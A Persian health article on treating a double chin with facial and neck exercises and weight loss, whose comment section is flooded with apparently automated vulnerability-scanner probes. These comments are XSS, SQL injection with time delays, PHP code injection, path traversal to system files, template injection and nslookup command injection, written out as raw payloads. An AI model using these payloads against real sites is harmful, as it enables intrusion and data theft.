درمان غبغب با ورزش

درمان غبغب با ورزش

علت به وجود آمدن غبغب چیست؟
عوامل بسیاری باعث به وجود آمدن غبغب می شوند که یکی از مهمترین آن ها چاقی و اضافه وزن و داشتن زندگی ساکن و بدون تحریک است، از دیگر علل می توان به بالا رفتن سن را نام برد. با پیر شدن بدن، قابلیت ارتجاعی پوست کاهش یافته و یا حتی از دست رفته داده که دچار افتادگی می شود و همچنین از قدرت و حجم عضله پلاتیسما که در زیر فک تا انتهای گردن قرار گرفته کاسته می شود  همچنین از دست دادن میزان قابل توجهی از وزن باعث شل شدن پوست اطراف گردن می شود و این مسئله سبب افتادگی پوست در زیر گردن و ایجاد غبغب می گردد.
کم کاری تیروئید، ضعف غدد فوق کلیوی، کمبود پروتئین در برنامه غذایی و بطور کلی تغذیه ناصحیح، عدم تحرک کافی همگی می توانند موجب ضعیف شدن عضلات بدن و از جمله عضله پلاتیسما گردند.
 
 
درمان غبغب در منزل:
انجام یک سری تمرین به صورت روزانه غبغب، عضله پلاتیسما و نیز عضلات دیگر آن ناحیه را سفت‌تر خواهد کرد. پس از این برای مدتی این تمرین ها را انجام دادید، این عضلات سفت شده و زمان کمتری برای حفظ آن احتیاج خواهید داشت چون حفظ عضله بسیار راحت‌تر از ایجاد آن است.
 
تمرین های درمان غبغب
ورزش های زیر به شما کمک می‌کند غبغب را درمان کنید، به یاد داشته باشید که باید این تمرینات را به طور منظم انجام داده تا تاثیر گذارد.
ورزش دهان:  یک ورزش بسیار موثر که باید دهان خود را تا حد امکان باز کرده و زبان را هم تا حد امکان بیرون بیاورید، انگار می‌خواهید آن را به چانه‌ برسانید. ۱۰ ثانیه در این حالت مانده و بعد به حالت شروع برگردید. ده بار تکرار شود. در حین انجام این تمرین شما احساس خواهید کرد که عضلات چانه و گردن درحال سفت شدن هستند.
ورزش سر:  روی تخت یا کاناپه دراز کشیده، طوری که سر از تخت آویزان بماند. چانه‌ را به سمت سینه کشانیده و این انقباض را ۱۰ ثانیه نگه دارید، بعد به آرامی به حالت شروع برگردید، ده بار تکرار کنید.
 ورزش چانه:  این ورزش به سفت و قوی کردن عضلات صورت و گردن کمک می‌کند. صاف ایستاده و پشت و گردن خود را صاف نگه دارید. چانه‌ را به سمت سقف بالا کشیده و لب‌ها را هم به حالت بوسه زدن جمع کنید. ۱۰ ثانیه در این حالت مانده و رها کنید، ده بار تکرار کنید.
ورزش گردن: صاف ایستاده، سرتان را به بغل طوری چرخانیده که چانه‌ شما موازی شانه‌ شما شود. چشم‌هایتان هم باید رو به جانب باشد. سپس به آرامی سرتان را به سمت پایین برده و به سمت دیگر بچرخانید. ده بار تکرار شود.
ورزش پلاتیسما: این تمرین روی عضلاتی عمل می‌کند که از فک پایین تا گردنتان امتداد دارد. صاف ایستاده و گردنتان را هم صاف نگه دارید، با بالا کشیدن لب‌ها به روی دندان‌ها و پایین بردن گوشه‌های لب، تاندون‌های فک خود را سفت کنید. ۱۰ ثانیه در این حالت مانده و بعد شل کنید. ده بار تکرار شود.
ورزش توپ تنیس: یک توپ تنیس در جلو گردن خود قرار داده و سعی کنید با چانه‌ آن را نگه دارید. چانه را سفت به توپ چسبانیده و بعد رها کنید. ده بار تکرار شود.
کاهش وزن
علاوه بر انجام ورزش هایی که ذکر شد، وزن خود را نیز باید کاهش دهید. هنگامی که اضافه وزن دارید، چربی در همه قسمت‌های بدن انباشته می‌شود و درنتیجه غبغب هم ایجاد می شود. ورزش های غبغب درکنار رژیم‌غذایی نتیجه ی بهتری خواهد داشت.


    به اشتراک گذاری در شبکه های اجتماعی
تلگرام فیش بوک اینستاگرام لینکداین تویتر

    برچسب ها


    دیدگاه شما


cgxrbisw      

1}body{acu:Expre/**/SSion(prompt(906062))}



cgxrbisw      

[url=http://www.vulnweb.com][/url]



cgxrbisw      

1<%div style=width:expression(prompt(931933))>



cgxrbisw      

1&lt;ScRiPt&gt;prompt(907182)&lt;/sCripT&gt;



cgxrbisw      

1\u003CScRiPt\u003Eprompt(978007)\u003C/sCripT\u003E



cgxrbisw      

1%3Csvg%20onload%3Dprompt(973173)%3E



cgxrbisw      

CWS000x�=�1N�@E߮��I)�@�� �HiP"D�F� G&َ7��܂�rX;!S��̛����7Jq���.�>�p�c�l��zG�ܾM�dkj�,��(��T�Jj)�"�T7$��H�D6)� x)��ؒ�\C�|�Q�Nc�b��� b_&�5 h��g� ]s��0Q�L<�6�L�_�w~�[�/[�m{����:n-����.�d1d��?6�0



cgxrbisw      

acuah0FJ一ucaah0FJ



cgxrbisw      

acuah0FJ𝌆ucaah0FJ



cgxrbisw      

acux6325��z1��z2a�bcxuca6325



cgxrbisw      

acu6664<s1﹥s2ʺs3ʹuca6664



cgxrbisw      

1"sTYLe='acu:Expre/**/SSion(prompt(941646))'bad="



cgxrbisw      

�" onmouseover=prompt(922873) //



cgxrbisw      

%31%22%20%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%70%72%6F%6D%70%74%28%39%36%33%34%37%34%29%20%62%61%64%3D%22



cgxrbisw      

1\u0022 onmouseover=prompt(930664) bad=\u0022



cgxrbisw      

1" onmouseover=prompt(997829) bad="



cgxrbisw      

acu16Cfw一uca16Cfw



cgxrbisw      

acu16Cfw𝌆uca16Cfw



cgxrbisw      

acux7317��z1��z2a�bcxuca7317



cgxrbisw      

acu1872<s1﹥s2ʺs3ʹuca1872



cgxrbisw      

1_993270



cgxrbisw      

1}body{acu:Expre/**/SSion(prompt(927991))}



cgxrbisw      

[url=http://www.vulnweb.com][/url]



cgxrbisw      

1<%div style=width:expression(prompt(991096))>



cgxrbisw      

1&lt;ScRiPt&gt;prompt(977447)&lt;/sCripT&gt;



cgxrbisw      

1\u003CScRiPt\u003Eprompt(987722)\u003C/sCripT\u003E



cgxrbisw      

1%3Csvg%20onload%3Dprompt(959064)%3E



cgxrbisw      

CWS000x�=�1N�@E߮��I)�@�� �HiP"D�F� G&َ7��܂�rX;!S��̛����7Jq���.�>�p�c�l��zG�ܾM�dkj�,��(��T�Jj)�"�T7$��H�D6)� x)��ؒ�\C�|�Q�Nc�b��� b_&�5 h��g� ]s��0Q�L<�6�L�_�w~�[�/[�m{����:n-����.�d1d��?6�0



cgxrbisw      

acuvV1D9一ucavV1D9



qqbbdwim      

1



qqbbdwim      

1



qqbbdwim      

1



qqbbdwim      

1



qqbbdwim      

1



qqbbdwim      

1



qqbbdwim      

1



cgxrbisw      

acuvV1D9𝌆ucavV1D9



qqbbdwim      

1



cgxrbisw      

acux9458��z1��z2a�bcxuca9458



cgxrbisw      

acux8894��z1��z2a�bcxuca8894



qqbbdwim      

1



thilxqng      

1



qqbbdwim      

1



thilxqng      

1



qqbbdwim      

1



(select convert(int,CHAR(65)))      

1



qqbbdwim      

1



qqbbdwim      

1



qqbbdwim      

1



qqbbdwim      

1



qqbbdwim      

1



qqbbdwim      

1



�''�""      

1



qqbbdwim      

1



�'�"      

1



qqbbdwim      

1



JyI=      

1



qqbbdwim      

1



@@gQAM4      

1



thilxqng      

1



1����      

1



thilxqng      

1



thilxqng      

1



thilxqng      

1



thilxqng      

1



qqbbdwim      

1



cgxrbisw      

acu5625<s1﹥s2ʺs3ʹuca5625



thilxqng      

1



thilxqng      

1



-1" OR 2+468-468-1=0+0+0+1 --      

1



\      

1



thilxqng      

1



-1' OR 2+188-188-1=0+0+0+1 or 'PdcIRp3h'='      

1



1'"      

1



thilxqng      

1



-1' OR 2+394-394-1=0+0+0+1 --      

1



thilxqng      

1



-1 OR 2+16-16-1=0+0+0+1      

1



-1 OR 2+262-262-1=0+0+0+1 --      

1



mNg6tnRg'));select pg_sleep(8); --      

1



thilxqng      

1



foludieb      

1



818z6p92      

1



thilxqng      

1



foludieb      

1



qqbbdwim      

1



qqbbdwim      

1



foludieb      

1



foludieb      

1



thilxqng      

1



cgxrbisw      

1_977782



foludieb      

1



faysygjq      

1



(select convert(int,CHAR(65)))      

1



cgxrbisw      

1}body{acu:Expre/**/SSion(prompt(979125))}



gXPmLZpD'));select pg_sleep(4); --      

1



�''�""      

1



cgxrbisw      

[url=http://www.vulnweb.com][/url]



cgxrbisw      

1<%div style=width:expression(prompt(921152))>



cgxrbisw      

1&lt;ScRiPt&gt;prompt(981984)&lt;/sCripT&gt;



foludieb      

1



cgxrbisw      

1\u003CScRiPt\u003Eprompt(933248)\u003C/sCripT\u003E



�'�"      

1



cgxrbisw      

1%3Csvg%20onload%3Dprompt(959649)%3E



JyI=      

1



foludieb      

1



thilxqng      

1



CHupFDkU');select pg_sleep(8); --      

1



thilxqng      

1



GIjdhFhH';select pg_sleep(12); --      

1



thilxqng      

1



@@GPLGs      

1



w8V8P2MG')); waitfor delay '0:0:12' --      

1



cgxrbisw      

CWS000x�=�1N�@E߮��I)�@�� �HiP"D�F� G&َ7��܂�rX;!S��̛����7Jq���.�>�p�c�l��zG�ܾM�dkj�,��(��T�Jj)�"�T7$��H�D6)� x)��ؒ�\C�|�Q�Nc�b��� b_&�5 h��g� ]s��0Q�L<�6�L�_�w~�[�/[�m{����:n-����.�d1d��?6�0



kLXzoO96'); waitfor delay '0:0:12' --      

1



LhG7VTIK'; waitfor delay '0:0:8' --      

1



1 waitfor delay '0:0:8' --      

1



foludieb      

1



-1" OR 2+981-981-1=0+0+0+1 --      

1



-1' OR 2+336-336-1=0+0+0+1 or 'ZV8n9fdw'='      

1



lrcjooej      

1



-1' OR 2+167-167-1=0+0+0+1 --      

1



-1 OR 2+138-138-1=0+0+0+1      

1



-1 OR 2+171-171-1=0+0+0+1 --      

1



xukmomOD      

1



foludieb      

1



lrcjooej      

1



1����      

1



cgxrbisw      

acuqALLR一ucaqALLR



foludieb      

1



lrcjooej      

1



\      

1



foludieb      

1



lrcjooej      

1



1'"      

1



lrcjooej      

1



faysygjq      

1



faysygjq      

1



qqbbdwim      

1



lrcjooej      

1



qqbbdwim      

1



I4yZIxtY'));select pg_sleep(9); --      

1



aLPMyYAo');select pg_sleep(6); --      

1



foludieb      

1



fKSCp9Ty';select pg_sleep(6); --      

1



cgxrbisw      

acuqALLR𝌆ucaqALLR



foludieb      

1



brf7XCUI')); waitfor delay '0:0:6' --      

1



lrcjooej      

1



faysygjq      

1



foludieb      

1



thilxqng      

1



foludieb      

1



thilxqng      

1



lrcjooej      

1



Dnwc2z1T'); waitfor delay '0:0:6' --      

1



cgxrbisw      

acux2191��z1��z2a�bcxuca2191



LYX2aOKP'; waitfor delay '0:0:6' --      

1



1 waitfor delay '0:0:6' --      

1



-1" OR 2+615-615-1=0+0+0+1 --      

1



-1' OR 2+461-461-1=0+0+0+1 or 'jojWmib2'='      

1



-1' OR 2+693-693-1=0+0+0+1 --      

1



cgxrbisw      

acu4288<s1﹥s2ʺs3ʹuca4288



-1 OR 2+708-708-1=0+0+0+1      

1



cgxrbisw      

1"sTYLe='acu:Expre/**/SSion(prompt(966604))'bad="



lrcjooej      

1



foludieb      

1



lrcjooej      

1



foludieb      

1



foludieb      

1



bhmfyaoj      

1



foludieb      

1



bhmfyaoj      

1



faysygjq      

1



foludieb      

1



faysygjq      

1



qqbbdwim      

1



-1 OR 2+320-320-1=0+0+0+1 --      

1



${@print(md5(acunetix_wvs_security_test))}\      

1



Na01h2ID      

1



${@print(md5(acunetix_wvs_security_test))}      

1



faysygjq      

1



qqbbdwim      

1



";print(md5(acunetix_wvs_security_test));$a="      

1



faysygjq      

1



qqbbdwim      

1



faysygjq      

1



qqbbdwim      

1



faysygjq      

1



bhmfyaoj      

1



cgxrbisw      

�" onmouseover=prompt(986670) //



bhmfyaoj      

1



cgxrbisw      

%31%22%20%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%70%72%6F%6D%70%74%28%39%32%33%32%35%34%29%20%62%61%64%3D%22



qqbbdwim      

1



faysygjq      

1



thilxqng      

1



qqbbdwim      

1



faysygjq      

1



faysygjq      

1



cgxrbisw      

1\u0022 onmouseover=prompt(994190) bad=\u0022



faysygjq      

1



';print(md5(acunetix_wvs_security_test));$a='      

1



faysygjq      

1



thilxqng      

1



cgxrbisw      

1" onmouseover=prompt(932171) bad="



;print(md5(acunetix_wvs_security_test));      

1



faysygjq      

1



${@print(md5(acunetix_wvs_security_test))}\      

1



faysygjq      

1



bhmfyaoj      

1



${@print(md5(acunetix_wvs_security_test))}      

1



cgxrbisw      

acuHpRAt一ucaHpRAt



faysygjq      

1



'"      

1



cgxrbisw      

acuHpRAt𝌆ucaHpRAt



faysygjq      

1



qqbbdwim      

1



thilxqng      

1



1291/.      

1



cgxrbisw      

acux1003��z1��z2a�bcxuca1003



/WEB-INF/web.xml?      

1



'"      

1



qqbbdwim      

1



";print(md5(acunetix_wvs_security_test));$a="      

1



qqbbdwim      

1



';print(md5(acunetix_wvs_security_test));$a='      

1



'"      

1



1291      

1



WEB-INF\web.xml?      

1



cgxrbisw      

acu9410<s1﹥s2ʺs3ʹuca9410



WEB-INF/web.xml?      

1



;print(md5(acunetix_wvs_security_test));      

1



qqbbdwim      

1



qqbbdwim      

1



bhmfyaoj      

1



bhmfyaoj      

1



${@print(md5(acunetix_wvs_security_test))}\      

1



qqbbdwim      

1



${@print(md5(acunetix_wvs_security_test))}      

1



faysygjq      

1



1291      

1



/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini      

1



faysygjq      

1



lrcjooej      

1



..\..\..\..\..\..\..\..\windows\win.ini      

1



cgxrbisw      

1_972012



1291/.      

1



qqbbdwim      

1



bhmfyaoj      

1



1291      

1



qqbbdwim      

1



bhmfyaoj      

'"



vxsutfqc      

1



bhmfyaoj      

'"



qqbbdwim      

1



1291      

1



vxsutfqc      

1



bhmfyaoj      

'"



lrcjooej      

1



chfhxwvc      

1



1291/.      

1



chfhxwvc      

1



faysygjq      

1



1291      

1



xwgqfyqx      

1



chfhxwvc      

1



faysygjq      

1



1291      

1



................windowswin.ini      

1



lrcjooej      

1



xwgqfyqx      

1



";print(md5(acunetix_wvs_security_test));$a="      

1



faysygjq      

1



../../../../../../../../../../windows/win.ini.jpg      

1



xwgqfyqx      

1



';print(md5(acunetix_wvs_security_test));$a='      

1



faysygjq      

1



xwgqfyqx      

1



;print(md5(acunetix_wvs_security_test));      

1



faysygjq      

1



vxsutfqc      

1



qqbbdwim      

1



xwgqfyqx      

1



faysygjq      

1



vxsutfqc      

1



qqbbdwim      

1



xwgqfyqx      

1



faysygjq      

1



/www.vulnweb.com      

1



qqbbdwim      

1



xwgqfyqx      

1



qqbbdwim      

1



faysygjq      

1



xwgqfyqx      

1



faysygjq      

(select convert(int,CHAR(65)))



faysygjq      

�''�""



foludieb      

1



faysygjq      

�'�"



foludieb      

1



faysygjq      

JyI=



foludieb      

1



chfhxwvc      

1



xwgqfyqx      

1



faysygjq      

@@v18MT



/www.vulnweb.com      

1



faysygjq      

1����



qqbbdwim      

1



/www.vulnweb.com      

1



faysygjq      

\



xwgqfyqx      

1



vxsutfqc      

1



faysygjq      

1'"



xwgqfyqx      

1



vxsutfqc      

1



vxsutfqc      

1



foludieb      

1



vxsutfqc      

/www.vulnweb.com



chfhxwvc      

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))



qqbbdwim      

1



vxsutfqc      

/www.vulnweb.com



chfhxwvc      

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))



qqbbdwim      

1



vxsutfqc      

/www.vulnweb.com



chfhxwvc      

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))



qqbbdwim      

1



faysygjq      

1



xwgqfyqx      

1



lbfqhdbp      

1



qqbbdwim      

1



faysygjq      

(select convert(int,CHAR(65)))



lbfqhdbp      

1



qqbbdwim      

1



faysygjq      

�''�""



qqbbdwim      

1



faysygjq      

�'�"



faysygjq      

JyI=



../../../../../../../../../../boot.ini      

1



lrcjooej      

1



lbfqhdbp      

1



foludieb      

1



qqbbdwim      

1



../../../../../../../../../../windows/win.ini      

1



lrcjooej      

1



lbfqhdbp      

1



foludieb      

1



qqbbdwim      

1



/WEB-INF/web.xml?      

1



lbfqhdbp      

1



foludieb      

1



WEB-INF\web.xml?      

1



foludieb      

1



WEB-INF/web.xml?      

1



lbfqhdbp      

1



lbfqhdbp      

1



lrcjooej      

1



qqbbdwim      

1



lrcjooej      

1



/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini      

1



..\..\..\..\..\..\..\..\windows\win.ini      

1



qqbbdwim      

1



lrcjooej      

1



cjywvkra      

1



................windowswin.ini      

1



^(#$!@#$)(()))******      

1



qqbbdwim      

1



foludieb      

1



../../../../../../../../../../windows/win.ini.jpg      

1



qqbbdwim      

1



foludieb      

1



qqbbdwim      

1



foludieb      

1



cjywvkra      

1



foludieb      

1



faysygjq      

@@vyBmI



foludieb      

1



faysygjq      

1����



cjywvkra      

1



foludieb      

1



!(()&&!|*|*|      

1



faysygjq      

\



lrcjooej      

1



lbfqhdbp      

1



foludieb      

1



../../../../../../../../../../boot.ini      

1



)      

1



faysygjq      

1'"



lrcjooej      

1



lbfqhdbp      

1



cjywvkra      

1



foludieb      

${@print(md5(acunetix_wvs_security_test))}\



../../../../../../../../../../windows/win.ini      

1



^(#$!@#$)(()))******      

1



faysygjq      

1



lrcjooej      

1



lbfqhdbp      

1



qqbbdwim      

1



foludieb      

${@print(md5(acunetix_wvs_security_test))}



/WEB-INF/web.xml?      

1



!(()&&!|*|*|      

1



lrcjooej      

1



http://hitUaZ7OP4vK6.bxss.me/      

1



WEB-INF\web.xml?      

1



WEB-INF/web.xml?      

1



http://hitE77Xy2FlpA.bxss.me/      

1



lrcjooej      

1



foludieb      

";print(md5(acunetix_wvs_security_test));$a="



)      

1



lrcjooej      

1



faysygjq      

(select convert(int,CHAR(65)))



lbfqhdbp      

1



http://hitFg1A6ETodB.bxss.me/      

1



qqbbdwim      

1



/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini      

1



faysygjq      

�''�""



qqbbdwim      

1



foludieb      

';print(md5(acunetix_wvs_security_test));$a='



lbfqhdbp      

1



lbfqhdbp      

1



cjywvkra      

1



qqbbdwim      

1



foludieb      

;print(md5(acunetix_wvs_security_test));



lrcjooej      

1



qqbbdwim      

1



foludieb      

${@print(md5(acunetix_wvs_security_test))}\



lrcjooej      

1291/.



cjywvkra      

1



qqbbdwim      

1



foludieb      

${@print(md5(acunetix_wvs_security_test))}



lrcjooej      

1291



qqbbdwim      

1



foludieb      

";print(md5(acunetix_wvs_security_test));$a="



lrcjooej      

1291



qqbbdwim      

1



..\..\..\..\..\..\..\..\windows\win.ini      

1



lrcjooej      

1



cjywvkra      

1



foludieb      

';print(md5(acunetix_wvs_security_test));$a='



faysygjq      

�'�"



^(#$!@#$)(()))******      

1



................windowswin.ini      

1



foludieb      

;print(md5(acunetix_wvs_security_test));



faysygjq      

JyI=



lrcjooej      

1291/.



!(()&&!|*|*|      

1



qqbbdwim      

1



foludieb      

${@print(md5(acunetix_wvs_security_test))}\



qqbbdwim      

1



faysygjq      

@@M4qAK



lbfqhdbp      

1



cjywvkra      

http://hit3sd7vSYEpd.bxss.me/



lrcjooej      

1291



)      

1



../../../../../../../../../../windows/win.ini.jpg      

1



faysygjq      

1����



lbfqhdbp      

1



lrcjooej      

1291



xwgqfyqx      

1



lrcjooej      

1



lrcjooej      

1291/.



qqbbdwim      

1



faysygjq      

\



lbfqhdbp      

1



xwgqfyqx      

1



cjywvkra      

http://hit3hdxvQvCDU.bxss.me/



qqbbdwim      

1



faysygjq      

1'"



lbfqhdbp      

1



xwgqfyqx      

1



qqbbdwim      

1



faysygjq      

1



lbfqhdbp      

1



lrcjooej      

1291



qqbbdwim      

1



lbfqhdbp      

1



lrcjooej      

1291



qqbbdwim      

1



cjywvkra      

http://hitoW1fmwFJuE.bxss.me/



lrcjooej      

1



qqbbdwim      

1



../../../../../../../../../../boot.ini      

1



nxvrgpfw      

1



qqbbdwim      

-1" OR 2+660-660-1=0+0+0+1 --



nxvrgpfw      

1



qqbbdwim      

-1' OR 2+231-231-1=0+0+0+1 or 'uCphZBiB'='



nxvrgpfw      

1



qqbbdwim      

-1' OR 2+581-581-1=0+0+0+1 --



xwgqfyqx      

1



lbfqhdbp      

1



xwgqfyqx      

1



xwgqfyqx      

1



mhbbrtrh      

1



../../../../../../../../../../windows/win.ini      

1



xwgqfyqx      

1



mhbbrtrh      

1



thilxqng      

1



xwgqfyqx      

1



mhbbrtrh      

1



thilxqng      

1



nxvrgpfw      

1



xwgqfyqx      

1



mhbbrtrh      

1



thilxqng      

1



http://testasp.vulnweb.com/t/xss.html?%00.jpg      

1



xwgqfyqx      

^(#$!@#$)(()))******



mhbbrtrh      

1



http://testasp.vulnweb.com/t/xss.html?%00.jpg      

1



testasp.vulnweb.com      

1



xwgqfyqx      

!(()&&!|*|*|



thilxqng      

1



http://testasp.vulnweb.com/t/xss.html?%00.jpg      

1



mhbbrtrh      

1



http://testasp.vulnweb.com/t/fit.txt?.jpg      

1



xwgqfyqx      

)



thilxqng      

1



nxvrgpfw      

1



mhbbrtrh      

1



Http://testasp.vulnweb.com/t/fit.txt      

1



xwgqfyqx      

^(#$!@#$)(()))******



thilxqng      

1



nxvrgpfw      

1



mhbbrtrh      

1



1some_inexistent_file_with_long_name.jpg      

1



'"()      

1



xwgqfyqx      

!(()&&!|*|*|



'"()      

1



nxvrgpfw      

1



qqbbdwim      

-1 OR 2+293-293-1=0+0+0+1



'"()      

1



xwgqfyqx      

)



testasp.vulnweb.com      

1



mhbbrtrh      

1



xwgqfyqx      

^(#$!@#$)(()))******



http://testasp.vulnweb.com/t/fit.txt?.jpg      

1



qqbbdwim      

-1 OR 2+194-194-1=0+0+0+1 --



nxvrgpfw      

http://testasp.vulnweb.com/t/xss.html?%00.jpg



qqbbdwim      

wa8G2gex



foludieb      

${@print(md5(acunetix_wvs_security_test))}



nxvrgpfw      

http://testasp.vulnweb.com/t/xss.html?%00.jpg



mhbbrtrh      

1



foludieb      

";print(md5(acunetix_wvs_security_test));$a="



mhbbrtrh      

1



mhbbrtrh      

'"()



mhbbrtrh      

'"()



foludieb      

';print(md5(acunetix_wvs_security_test));$a='



nxvrgpfw      

http://testasp.vulnweb.com/t/xss.html?%00.jpg



mhbbrtrh      

'"()



foludieb      

;print(md5(acunetix_wvs_security_test));



fhgykdhq      

1



fhgykdhq      

1



thilxqng      

1



fhgykdhq      

1



thilxqng      

1



fhgykdhq      

1



thilxqng      

1



fhgykdhq      

1



fhgykdhq      

1



thilxqng      

1



thilxqng      

1



qqbbdwim      

1



Http://testasp.vulnweb.com/t/fit.txt      

1



qqbbdwim      

1



1some_inexistent_file_with_long_name.jpg      

1



qqbbdwim      

SyA7vGyk'));select pg_sleep(4); --



qqbbdwim      

cUewc5f9');select pg_sleep(4); --



thilxqng      

1



qqbbdwim      

UNYjDRvv';select pg_sleep(0); --



testasp.vulnweb.com      

1



fhgykdhq      

1



fhgykdhq      

1



qqbbdwim      

ItsIGCZd';select pg_sleep(8); --



http://testasp.vulnweb.com/t/fit.txt?.jpg      

1



fhgykdhq      

1



Http://testasp.vulnweb.com/t/fit.txt      

1



fhgykdhq      

1



1some_inexistent_file_with_long_name.jpg      

1



fhgykdhq      

1



fhgykdhq      

1



fhgykdhq      

1



xwgqfyqx      

!(()&&!|*|*|



thilxqng      

1



xwgqfyqx      

)



thilxqng      

1



thilxqng      

1



lbfqhdbp      

1



lbfqhdbp      

1



lbfqhdbp      

1



lbfqhdbp      

1



thilxqng      

1



thilxqng      

1



fhgykdhq      

1



rtaydelg      

1



lbfqhdbp      

1



fhgykdhq      

1



lbfqhdbp      

1



fhgykdhq      

1



lbfqhdbp      

1



lbfqhdbp      

1



iucxfkuw      

1



qqbbdwim      

XNbXSqJ2';select pg_sleep(12); --



lbfqhdbp      

1



lbfqhdbp      

1



qqbbdwim      

-1;select pg_sleep(12); --



lbfqhdbp      

1



phhpgkel&n924046=v991998      

1



lbfqhdbp      

1



lbfqhdbp      

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg



lbfqhdbp      

testasp.vulnweb.com



12345'"\'\");|]*{ <>�''💩      

1



lbfqhdbp      

http://testasp.vulnweb.com/t/fit.txt?.jpg



lbfqhdbp      

Http://testasp.vulnweb.com/t/fit.txt



xstrkmqi      

1



lbfqhdbp      

1some_inexistent_file_with_long_name.jpg



qqbbdwim      

dPuOaQQi';select pg_sleep(4); --



lbfqhdbp      

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg



Znh2MU1yTks=      

1



lbfqhdbp      

testasp.vulnweb.com



lbfqhdbp      

http://testasp.vulnweb.com/t/fit.txt?.jpg



qkjcfgoa      

1&n954569=v974606



lbfqhdbp      

Http://testasp.vulnweb.com/t/fit.txt



fhgykdhq      

1



Znh2MU1yTks=      

1



thilxqng      

1



thilxqng      

1



RGhGUmd2VDU=      

1



qqbbdwim      

NdPZ9cwK';select pg_sleep(0); --



thilxqng      

1



TERPRlpJZE8=      

1



thilxqng      

1



qqbbdwim      

-1));select pg_sleep(4); --



12345'"\'\");|]*{ <>�''💩      

1



fhgykdhq      

1



lbfqhdbp      

1some_inexistent_file_with_long_name.jpg



lbfqhdbp      

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg



thilxqng      

1



lbfqhdbp      

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg



thilxqng      

1



thilxqng      

1



qqbbdwim      

-1));select pg_sleep(0); --



Znh2MU1yTks=      

1



qqbbdwim      

-1);select pg_sleep(12); --



qqbbdwim      

-1;select pg_sleep(4); --



jxtrfyul      

1



jxtrfyul      

1



12345'"\'\");|]*{ <>�''💩      

1



lbfqhdbp      

testasp.vulnweb.com



fhgykdhq      

1



jxtrfyul      

1



lbfqhdbp      

http://testasp.vulnweb.com/t/fit.txt?.jpg



qqbbdwim      

Mj79B2qp')); waitfor delay '0:0:12' --



thilxqng      

1



jxtrfyul      

1



qqbbdwim      

SllY9Ip3'); waitfor delay '0:0:12' --



thilxqng      

1



fhgykdhq      

1



qqbbdwim      

HeZsT0j5'; waitfor delay '0:0:12' --



thilxqng      

1



jxtrfyul      

1



thilxqng      

/WEB-INF/web.xml?



jxtrfyul      

1



thilxqng      

WEB-INF\web.xml?



jxtrfyul      

1



thilxqng      

WEB-INF/web.xml?



lbfqhdbp      

Http://testasp.vulnweb.com/t/fit.txt



jxtrfyul      

1



fhgykdhq      

1



jxtrfyul      

1



lbfqhdbp      

1some_inexistent_file_with_long_name.jpg



thilxqng      

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini



qqbbdwim      

1 waitfor delay '0:0:12' --



lbfqhdbp      

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg



thilxqng      

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini



jxtrfyul      

1



sminxyia      

1



thilxqng      

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini



jxtrfyul      

1



thilxqng      

..\..\..\..\..\..\..\..\windows\win.ini



fhgykdhq      

1



thilxqng      

................windowswin.ini



jxtrfyul      

1



thilxqng      

������������������������������������������������windows��win.ini



jxtrfyul      

1



thilxqng      

../../../../../../../../../../windows/win.ini.jpg



jxtrfyul      

1



qqbbdwim      

-1)); waitfor delay '0:0:8' --



thilxqng      

../../../../../../../../../../boot.ini



sminxyia      

1



qqbbdwim      

-1); waitfor delay '0:0:8' --



sminxyia      

1



jxtrfyul      

1



qqbbdwim      

-1; waitfor delay '0:0:8' --



thilxqng      

../../../../../../../../../../windows/win.ini



qqbbdwim      

(select(0)from(select(sleep(8)))v)/*'+(select(0)from(select(sleep(8)))v)+'"+(select(0)from(select(sleep(8)))v)+"*/



qqbbdwim      

if(now()=sysdate(),sleep(8),0)/*'XOR(if(now()=sysdate(),sleep(8),0))OR'"XOR(if(now()=sysdate(),sleep(8),0))OR"*/



qqbbdwim      

-1" OR 2+22-22-1=0+0+0+1 --



qqbbdwim      

-1' OR 2+806-806-1=0+0+0+1 or 'c475t9ca'='



qqbbdwim      

-1' OR 2+262-262-1=0+0+0+1 --



fhgykdhq      

1



qqbbdwim      

-1 OR 2+204-204-1=0+0+0+1



qqbbdwim      

-1 OR 2+544-544-1=0+0+0+1 --



jxtrfyul      

1



thilxqng      

/WEB-INF/web.xml?



jxtrfyul      

1



thilxqng      

WEB-INF\web.xml?



thilxqng      

WEB-INF/web.xml?



jxtrfyul      

1



qqbbdwim      

WC13AlAl



jxtrfyul      

1



qqbbdwim      

1



thilxqng      

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini



jxtrfyul      

1



thilxqng      

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini



jxtrfyul      

1



qqbbdwim      

1



jxtrfyul      

1



qqbbdwim      

G2eAiJJU'));select pg_sleep(6); --



jxtrfyul      

1



qqbbdwim      

t1pdUXfc'));select pg_sleep(9); --



sminxyia      

1



thilxqng      

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini



${9999041+9999836}      

1



fhgykdhq      

1



thilxqng      

..\..\..\..\..\..\..\..\windows\win.ini



${9999176+9999349}      

1



jxtrfyul      

1



jxtrfyul      

1



${9999793+9999499}      

1



jxtrfyul      

1



sminxyia      

1



jxtrfyul      

1



jxtrfyul      

1



sminxyia      

1



thilxqng      

................windowswin.ini



thilxqng      

������������������������������������������������windows��win.ini



fhgykdhq      

1



thilxqng      

../../../../../../../../../../windows/win.ini.jpg



thilxqng      

../../../../../../../../../../boot.ini



thilxqng      

../../../../../../../../../../windows/win.ini



thilxqng      

/WEB-INF/web.xml?



fhgykdhq      

12345'"\'\");|]*{ <>�''💩



print `nslookup ji4EPoeg`      

1



thilxqng      

WEB-INF\web.xml?



fhgykdhq      

1



thilxqng      

WEB-INF/web.xml?



fhgykdhq      

